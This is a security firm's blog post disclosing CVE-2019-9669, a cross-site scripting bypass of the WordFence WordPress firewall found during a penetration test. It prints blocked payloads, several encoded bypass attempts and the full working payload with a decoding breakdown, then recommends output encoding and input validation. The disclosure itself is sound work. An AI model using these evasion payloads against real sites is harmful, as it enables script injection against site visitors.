Popular WordPress WAF bypass Zeroday discovered by edgescan

April 9, 2019 / blog , case-study , general , news , press-release / Comments (0)

WordFence WAF XSS Bypass – CVE-2019-9669 by Anthony Yalcin

A Web Application Firewall (WAF) is an application firewall that filters, monitors, and blocks malicious HTTP traffic. By inspecting HTTP traffic, it can prevent attacks related to web application security flaws, such as SQL injection, cross-site scripting (XSS), and security misconfigurations. WAFs may come in the form of an appliance, server plugin, or filter, and may be customized to an application.

WordFence is a WordPress security plugin that includes an endpoint firewall and malware scanner. The WAF attempts to identify and block malicious traffic and additionally perform real-time IP blacklisting from malicious IPs.

During a penetration test of a web application built on WordPress we noted that the target application was being protected by the WordFence WAF. We discovered that a URL query string parameter value was being reflected in the immediate response from the application server. The WordFence WAF blocked us while attempting to inject malicious JavaScript into the parameter value. By using a specially crafted payload we were able to bypass the WordFence WAF and inject malicious JavaScript into the web application.

 

The Discovery

The first step performed in finding this vulnerability was to identify a valid injection point by crawling through the site and observing what endpoints reflect user input in the response.

After crawling the site, we noted that the query string parameter (q) is reflected in the response. By using injecting basic HTML we can see that there is a lack of input validation or output encoding on this parameter value.

 

Fig 1: Payload: <a%20href=test>test</a>

 

The Analysis

Now that we have our injection point, we now need to find a payload that will not trigger the WAF. Performing basic tests for XSS such as injecting <script>alert(1)</script> triggered the WAF.
Examples below show that the WordFence WAF is protecting the application against basic XSS payloads.

 

Fig 2: Payload: < iframe >

 

 

Fig 3: Payload: ⁢a href=javascript:alert(1)>test</a>

 

The Bypass

After trying multiple payloads, it was noted that it was possible to inject an anchor tag including the href attribute. For example:
<a/href=”test”>test
The WAF was triggered when “javascript” followed by “:” was injected into the href attribute.
Below are a few of the attempts made to bypass this WAF ruleset:
• <a/href=”%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%3b”>test
•<a/href=”&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;”>test
• <a/href=”javascript&colon;alert(1)”>test
• <a/href=”javaSCRIPT&colon;alert(1)”>test
Working Payload:
<a/href=%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x0a;:alert(1)>please%20click%20here</a>
Payload Breakdown:
URL Decoded:
<a/href=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x0a;:alert(1)>please click here</a>
HTML Decoded(Note the new line):
<a/href=javascript
:alert(1)>please click here</a>

 

Fig 4: Bypassing the WAF and injecting the malicious anchor tag into the application response.

 

Fig 5: Element inspected in browser development tools

 

Fig 6: Shows the JavaScript Popup when the link is clicked

 

Outcome

Web-application firewalls may not fully protect your sites from these types of attacks. They do however, slow attackers down. A motivated attacker will spend as much time as they need to exploit these types of vulnerabilities. WAF’s offer many types of protection, such as; protection against known attacks or vulnerabilities based on blacklists. In the case of a new vulnerability is discovered on your site, before a patch can be installed it may be quicker for a ruleset to be added to the WAF to temporarily block this particular payload.

It is recommended that all user input be output encoded at any point where it is copied into application responses. The output encoding should depend on the context in which the untrusted input is used. At the server language level, the user input should be converted to the correct data type. For example, if an integer is expected then the user input should be converted to an integer and not stored as a string. Knowledge of how this data is handled by the server language is key, at the time where this input is copied into the application responses it should be output encoded in the correct context such as HTML, URL, JavaScript, and CSS. Not identifying the correct encoding type can lead to vulnerabilities persisting in an application or possibly introducing other vulnerabilities. Using HTML for example all HTML metacharacters, including < > ” ‘ and =, should be replaced with the corresponding HTML entities (&lt; &gt; etc). For URLs this should be URL encoded (%3c %3e %22 etc). Additionally, user-controlled input on all pages is subject to rigorous validation routines before it is accepted by the application.

Anthony Yalcin is a Senior Information Security Consultant at edgescan.

  •  
  •  
  •  
  •  
  •